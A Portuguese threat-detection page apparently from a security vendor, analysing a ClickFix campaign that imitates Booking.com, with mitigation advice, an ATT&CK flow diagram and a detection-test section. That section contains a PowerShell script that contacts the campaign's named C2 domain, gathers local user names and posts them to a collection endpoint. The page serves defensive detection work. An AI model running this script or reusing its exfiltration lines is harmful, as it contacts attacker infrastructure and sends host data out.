SOC Prime Bias: Médio

24 Apr 2026 13:26 UTC

Analisando uma cadeia completa de ataque ClickFix (parte 1)

Author Photo
SOC Prime Team linkedin icon Seguir
Analisando uma cadeia completa de ataque ClickFix (parte 1)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O relatório descreve uma campanha ClickFix na qual um site malicioso finge ser o Booking.com para persuadir os usuários a copiar e executar um comando do PowerShell. Uma vez executado, o comando lança um script do PowerShell sem arquivo que baixa um arquivo ZIP de segunda fase. O dropper coleta informações do host, grava o payload no diretório temporário e cria persistência por meio de uma chave de registro Run e uma tarefa agendada. Toda a cadeia de infecção depende de conteúdo web convincente e execução pelo usuário, em vez de uma exploração óbvia.

Investigação

Analistas da Stormshield capturaram o JavaScript responsável por recuperar um comando de PowerShell de um domínio de comando e controle e colocá-lo na área de transferência do usuário. Eles também analisaram o dropper do PowerShell, que coletou informações detalhadas do sistema através de consultas WMI e variáveis de ambiente antes de exfiltrar os dados por meio de uma solicitação GET. O mesmo dropper então baixou um arquivo ZIP de um segundo domínio, extraiu seu conteúdo e configurou a persistência no host comprometido. Os pesquisadores mapearam os comportamentos e técnicas observados para seus identificadores correspondentes do MITRE ATT&CK.

Mitigação

As organizações devem bloquear os domínios e URLs maliciosos vinculados à campanha ClickFix e aplicar filtros web rigorosos para reduzir a exposição a páginas de phishing. Os defensores devem monitorar a execução do PowerShell com sinalizadores como -ExecutionPolicy Bypass e configurações de janela oculta, enquanto também limitam a execução de scripts do PowerShell não assinados por meio de controle de aplicativos. Detecções adicionais devem se concentrar na criação de chaves de registro Run suspeitas e tarefas agendadas com nomes desconhecidos.

Resposta

As equipes de segurança devem alertar sobre o tráfego de saída para os domínios de comando e controle identificados e nas linhas de comando do PowerShell que usam Invoke-Expression para executar conteúdo recuperado remotamente. A lógica de detecção também deve abranger a criação do valor Run específico no registro e o nome da tarefa agendada associado à campanha. Se a atividade for confirmada, isole o endpoint imediatamente, colete evidências voláteis e realize uma revisão forense de arquivos temporários e do payload ZIP baixado.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffeb99 classDef tool fill:#ccffcc classDef process fill:#ffcccc classDef persistence fill:#ddddff %% Nodes action_initial["<b>Ação</b> – Acesso Inicial: Página maliciosa de copiar e colar"] tech_user_exec["<b>Técnica</b> – T1204.004 Execução do Usuário: Cópia e Colagem Maliciosa"] process_ps["<b>Processo</b> – Comando PowerShell copiado para a área de transferência"] tech_ps["<b>Técnica</b> – T1059.001 PowerShell"] tech_process_inject["<b>Técnica</b> – T1055.011 Injeção de Processo"] action_discovery["<b>Ação</b> – Descoberta de Sistema"] tech_account_discovery["<b>Técnica</b> – T1087 Descoberta de Conta"] tech_security_sw["<b>Técnica</b> – T1518.001 Descoberta de Software de Segurança"] tech_time_discovery["<b>Técnica</b> – T1124 Descoberta de Tempo de Sistema"] action_c2["<b>Ação</b> – Comando e Controle"] tech_http_c2["<b>Técnica</b> – T1071.001 Protocolos Web (HTTP)"] action_download["<b>Ação</b> – Download de Payload"] tech_ingress["<b>Técnica</b> – T1105 Transferência de Ferramenta de Entrada"] action_deploy["<b>Ação</b> – Implantar payload (extração ZIP)"] action_persistence["<b>Ação</b> – Estabelecimento de Persistência"] tech_registry_run["<b>Técnica</b> – T1547.001 Chaves de Execução do Registro / Pasta de Inicialização"] tech_scheduled_task["<b>Técnica</b> – T1053.005 Tarefa/Job Agendado: No Logon"] action_final["<b>Ação</b> – Execução final do payload"] process_payload["<b>Processo</b> – Executável ou arquivo em lote extraído"] %% Connections action_initial –>|dispara| tech_user_exec tech_user_exec –>|leva a| process_ps process_ps –>|executa| tech_ps tech_ps –>|pode realizar| tech_process_inject tech_process_inject –>|permite| action_discovery action_discovery –>|usa| tech_account_discovery action_discovery –>|usa| tech_security_sw action_discovery –>|usa| tech_time_discovery action_discovery –>|envia dados para| action_c2 action_c2 –>|usa| tech_http_c2 action_c2 –>|dispara| action_download action_download –>|usa| tech_ingress action_download –>|armazena arquivo em| action_deploy action_deploy –>|cria| action_persistence action_persistence –>|usa| tech_registry_run action_persistence –>|alternativa| tech_scheduled_task action_persistence –>|permite| action_final action_final –>|lança| process_payload %% Class Assignments class action_initial action class tech_user_exec technique class process_ps process class tech_ps technique class tech_process_inject technique class action_discovery action class tech_account_discovery technique class tech_security_sw technique class tech_time_discovery technique class action_c2 action class tech_http_c2 technique class action_download action class tech_ingress technique class action_deploy action class action_persistence action class tech_registry_run technique class tech_scheduled_task technique class action_final action class process_payload process "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Check de Condição Prévia de Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa do Ataque & Comandos:
    Um invasor, tendo obtido acesso a uma estação de trabalho interna comprometida, emite um comando PowerShell de uma linha que contata a URL C2 do ClickFix com o ?get_command=1 parâmetro via um POST HTTP. O servidor retorna um payload do PowerShell que enumera contas de usuário locais (T1087), verifica o tempo do sistema (T1124), descobre produtos de segurança instalados (T1518.001), e então copia a saída para a área de transferência. O conteúdo da área de transferência é posteriormente postado de volta ao servidor ClickFix para exfiltração, cumprindo T1204.004 e T1547.001. Este padrão exato de tráfego corresponde à regra Sigma request_uri|contains: "?get_command=1" and http_method: POST condições.

  • Script de Teste de Regressão:

    # Simulação de Busca de Comando ClickFix – aciona a regra Sigma
    $url = "https://accountpulsecentre.help/ern-ZIoCCeHgBJpt2g33q1ZHZmrC2jCoRE1hGJ5O38s?get_command=1"
    $payload = @{
        dummy = "data"
    }
    
    # Enviar a solicitação POST maliciosa
    $response = Invoke-WebRequest -Uri $url -Method POST -Body ($payload | ConvertTo-Json) -ContentType "application/json"
    
    # Simular execução do comando PowerShell recuperado (simplificado)
    $psCommand = $response.Content
    Write-Output "Comando recuperado: $psCommand"
    
    # Para demonstração, executar um subconjunto inofensivo (ex.: obter usuários locais) e copiar para a área de transferência
    $users = Get-LocalUser | Select-Object -ExpandProperty Name
    $usersString = $users -join "`n"
    Set-Clipboard -Value $usersString
    
    # Exfiltrar conteúdo da área de transferência de volta ao servidor ClickFix (simulado)
    $exfilUrl = "https://accountpulsecentre.help/collect"
    Invoke-WebRequest -Uri $exfilUrl -Method POST -Body @{clipboard=$usersString} -ContentType "application/x-www-form-urlencoded"
  • Comandos de Limpeza:

    # Remover quaisquer arquivos temporários ou artefatos criados durante o teste
    Clear-Clipboard
    Write-Output "Limpeza completa – área de transferência limpa."